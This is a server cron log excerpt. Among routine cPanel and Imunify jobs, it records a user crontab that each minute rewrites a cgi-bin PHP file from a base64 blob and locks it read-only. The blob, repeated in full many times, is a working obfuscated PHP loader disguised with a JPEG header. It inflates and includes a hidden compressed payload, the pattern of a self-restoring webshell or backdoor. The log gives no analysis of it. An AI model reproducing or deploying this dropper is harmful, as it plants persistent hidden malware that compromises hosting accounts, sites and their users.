Aug 31 15:26:02 server CROND[11734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:27:01 server CROND[12109]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:27:01 server CROND[12111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:27:01 server CROND[12110]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 15:27:01 server CROND[12112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:28:01 server CROND[12530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:28:01 server CROND[12531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:28:01 server CROND[12532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:29:01 server CROND[13015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:29:01 server CROND[13016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:29:01 server CROND[13017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:30:01 server CROND[13423]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 15:30:01 server CROND[13424]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:30:01 server CROND[13429]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:30:01 server CROND[13430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:30:01 server CROND[13432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:30:01 server CROND[13431]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:30:01 server CROND[13433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:30:01 server CROND[13434]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:31:01 server CROND[14314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:31:01 server CROND[14315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:31:01 server CROND[14316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:32:01 server CROND[14700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:32:01 server CROND[14701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:32:01 server CROND[14702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:33:01 server CROND[15094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:33:01 server CROND[15095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:33:01 server CROND[15096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:34:01 server CROND[15559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:34:01 server CROND[15561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:34:01 server CROND[15560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:35:01 server CROND[15945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:35:01 server CROND[15947]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 15:35:01 server CROND[15949]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 15:35:01 server CROND[15952]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 15:35:01 server CROND[15957]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 15:35:01 server CROND[15953]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:35:01 server CROND[15955]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 15:35:01 server CROND[15965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:35:01 server CROND[15954]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 15:36:01 server CROND[16791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:36:01 server CROND[16792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:36:01 server CROND[16793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:37:01 server CROND[17176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:37:01 server CROND[17175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 15:37:01 server CROND[17177]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 15:38:01 server CROND[17548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 15:38:01 server CROND[17549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
